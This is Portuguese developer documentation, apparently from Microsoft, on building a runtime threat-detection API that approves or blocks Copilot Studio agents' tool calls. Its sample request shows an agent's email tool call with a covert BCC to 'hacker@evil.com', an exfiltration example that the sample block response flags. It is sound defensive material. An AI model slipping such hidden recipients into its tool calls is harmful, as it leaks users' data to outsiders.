Criar um sistema de detecção de ameaças em runtime para agentes do Copilot Studio

As organizações podem adicionar uma camada de segurança aos seus agentes do Copilot Studio conectando-as a um sistema de detecção de ameaças em runtime. Uma vez conectado, o agente chama esse sistema em runtime. O agente fornece ao sistema dados para que o sistema possa determinar se uma ferramenta que o agente planeja invocar é legítima ou não. Em seguida, o sistema responde ao Copilot Studio com uma resposta de "aprovar" ou "bloquear", fazendo com que o agente invoque ou ignore a ferramenta adequadamente. Para obter mais informações sobre como conectar agentes a um sistema de detecção de ameaças externos existente, consulte Habilitar a detecção e proteção de ameaças externas para agentes personalizados do Copilot Studio.

Este artigo é direcionado a desenvolvedores e descreve como integrar seus próprios recursos de detecção de ameaças como um provedor de segurança para agentes do Copilot Studio.

A integração é baseada em uma API que consiste em dois pontos de extremidade. O ponto de extremidade principal que você precisa implementar é o analyze-tool-execution ponto de extremidade. Você precisa expor esse ponto de extremidade como uma interface para seu sistema de detecção de ameaças. Depois que os clientes configuram seu sistema como seu sistema de detecção de ameaças externas, o agente chama essa API sempre que pretende invocar uma ferramenta.

Além do analyze-tool-execution ponto de extremidade, você também precisa expor um segundo ponto de extremidade, chamado validate. O validate ponto de extremidade é usado para verificar a integridade e a preparação do ponto de extremidade como parte da configuração do sistema.

As seções a seguir descrevem cada ponto de extremidade em detalhes.

POST /validar

Propósito: Verifica se o ponto de extremidade de detecção de ameaças está acessível e funcionando. Usado para configuração e teste de configuração iniciais.

Validar solicitação

• Método: POSTAR

• URL:https://{threat detection endpoint}/validate?api-version=2025-05-01

• Cabeçalhos:

  • Autorização: token de portador para autenticação de API

  • x-ms-correlation-id: GUID para rastreamento

• Corpo: Vazio

Validar resposta

Exemplo de resposta 200 OK

{
  "isSuccessful": true,
  "status": "OK"
}

Exemplo de resposta de erro

Se ocorrer um erro (código HTTP malsucedido), o ponto de extremidade retornará um código de erro, uma mensagem e um diagnóstico opcional.

{
  "errorCode": 5031,
  "message": "Validation failed. Webhook service is temporarily unavailable.",
  "httpStatus": 503,
  "diagnostics": "{\\reason\\:\\Upstream dependency timeout\\}"
}

POST /analyze-tool-execution

Propósito: Envia o contexto de execução da ferramenta para avaliação de risco. Avalia a solicitação de execução da ferramenta e responde se deseja permitir ou bloquear a execução da ferramenta.

Solicitação de execução de ferramenta de análise

• Método: POSTAR

• URL:https://{threat detection endpoint}/analyze-tool-execution?api-version=2025-05-01

• Cabeçalhos:

  • Autorização: token de portador para autenticação de API
  • Tipo de conteúdo: application/json

• Corpo: Objeto JSON

Exemplo de solicitação de análise-execução de ferramentas

POST https://security.contoso.com/api/agentSecurity/analyze-tool-execution?api-version=2025-05-01
Authorization: Bearer XXX……
x-ms-correlation-id: fbac57f1-3b19-4a2b-b69f-a1f2f2c5cc3c
Content-Type: application/json

{
  "plannerContext": {
    "userMessage": "Send an email to the customer",
    "thought": "User wants to notify customer",
    "chatHistory": [
      {
        "id": "m1",
        "role": "user",
        "content": "Send an email to the customer",
        "timestamp": "2025-05-25T08:00:00Z"
      },
      {
        "id": "m2",
        "role": "assistant",
        "content": "Which customer should I email?",
        "timestamp": "2025-05-25T08:00:01Z"
      },
      {
        "id": "m3",
        "role": "user",
        "content": "The customer is John Doe",
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ],
    "previousToolOutputs": [
      {
        "toolId": "tool-123",
        "toolName": "Get customer email by name",
        "outputs": {
          "name": "email",
          "description": "Customer's email address",
          "type": {
            "$kind": "String"
          },
          "value": "customer@foobar.com"
        },
        "timestamp": "2025-05-25T08:00:02Z"
      }
    ]
  },
  "toolDefinition": {
    "id": "tool-123",
    "type": "PrebuiltToolDefinition",
    "name": "Send email",
    "description": "Sends an email to specified recipients.",
    "inputParameters": [
      {
        "name": "to",
        "description": "Receiver of the email",
        "type": {
          "$kind": "String"
        }
      },
      {
        "name": "bcc",
        "description": "BCC of the email",
        "type": {
          "$kind": "String"
        }
      }
    ],
    "outputParameters": [
      {
        "name": "result",
        "description": "Result",
        "type": {
          "$kind": "String"
        }
      }
    ]
  },
  "inputValues": {
    "to": "customer@foobar.com",
    "bcc": "hacker@evil.com"
  },
  "conversationMetadata": {
    "agent": {
      "id": "agent-guid",
      "tenantId": "tenant-guid",
      "environmentId": "env-guid",
      "isPublished": true
    },
    "user": {
      "id": "user-guid",
      "tenantId": "tenant-guid"
    },
    "trigger": {
      "id": "trigger-guid",
      "schemaName": "trigger-schema"
    },
    "conversationId": "conv-id",
    "planId": "plan-guid",
    "planStepId": "step-1"
  }
}

Resposta de análise-execução de ferramentas

200 OK

Quando a solicitação é válida, o uso da ferramenta especificado na solicitação é avaliado e permitido ou bloqueado, com base nos critérios definidos. A resposta pode incluir os seguintes campos:

• blockAction (Boolean): se a ação deve ser bloqueada
• reasonCode (inteiro, opcional): código numérico explicando o motivo do bloco
• motivo (cadeia de caracteres, opcional): explicação legível por humanos
• diagnóstico (objeto, opcional): outros detalhes para rastreamento ou depuração

Exemplo de permitir resposta

{
  "blockAction": false
}

Exemplo de resposta de bloco

{
  "blockAction": true,
  "reasonCode": 112,
  "reason": "The action was blocked because there is a noncompliant email address in the BCC field.",
  "diagnostics": "{\\flaggedField\\:\\bcc\\,\\flaggedValue\\:\\hacker@evil.com\\}"
}

Exemplo de resposta de erro

Se a solicitação não for válida, uma resposta de erro será retornada com um código de erro, mensagem, status HTTP e diagnóstico opcional.

{
  "errorCode": 4001,
  "message": "Missing required field: toolDefinition",
  "httpStatus": 400,
  "diagnostics": "{\\missingField\\:\\toolDefinition\\,\\traceId\\:\\abc-123\\}"
}

Referência de estruturas de corpo de solicitação e resposta

As tabelas a seguir descrevem o conteúdo de vários objetos usados nos corpos de solicitação e resposta para os pontos de extremidade.

ValidationResponse

AnalyzeToolExecutionResponse

ErrorResponse

EvaluationRequest

PlannerContext

ChatMessage

ToolExecutionOutputs

ExecutionOutput

ToolDefinition

ToolInput

ToolOutput

ConversationMetadata

AgentContext

UserContext

TriggerContext

Authentication

A integração que você desenvolve deve usar a autenticação da ID do Microsoft Entra. Siga as instruções sobre a integração de aplicativos que seus desenvolvedores criam.

As etapas a serem executadas incluem o seguinte:

• Crie um registro de aplicativo para o recurso em seu locatário.
• Exponha um escopo para sua API Web. O escopo exposto deve ser a URL base para o recurso que os clientes chamam. Por exemplo, se a URL da API for https://security.contoso.com/api/threatdetection, o escopo exposto deverá ser https://security.contoso.com.
• Dependendo de como você implementa seu serviço, você precisa implementar a lógica de autorização e validar tokens de entrada. Você precisa documentar como o cliente deve autorizar seus aplicativos. Há várias maneiras de fazer isso, por exemplo, usando uma lista de permissões de IDs de aplicativo ou RBAC (controle de acesso baseado em função).

Requisitos de tempo de resposta

O agente espera uma resposta do sistema de detecção de ameaças em menos de 1.000 ms. Você deve garantir que o ponto de extremidade responda à chamada dentro desse período. Se o sistema não responder a tempo, o agente se comportará como se sua resposta fosse "permitir", invocando a ferramenta.

Controle de versão da API

Nas solicitações, a versão da API é especificada por meio de um api-version parâmetro de consulta (por exemplo, api-version=2025-05-01). Sua implementação deve ser tolerante a outros campos inesperados e não deve falhar se novos valores forem adicionados no futuro. Os parceiros não devem verificar a versão da API, pois todas as versões no momento são consideradas não interruptivas. Os parceiros devem acompanhar as versões da API, mas não falhar na solicitação ao ver uma nova versão.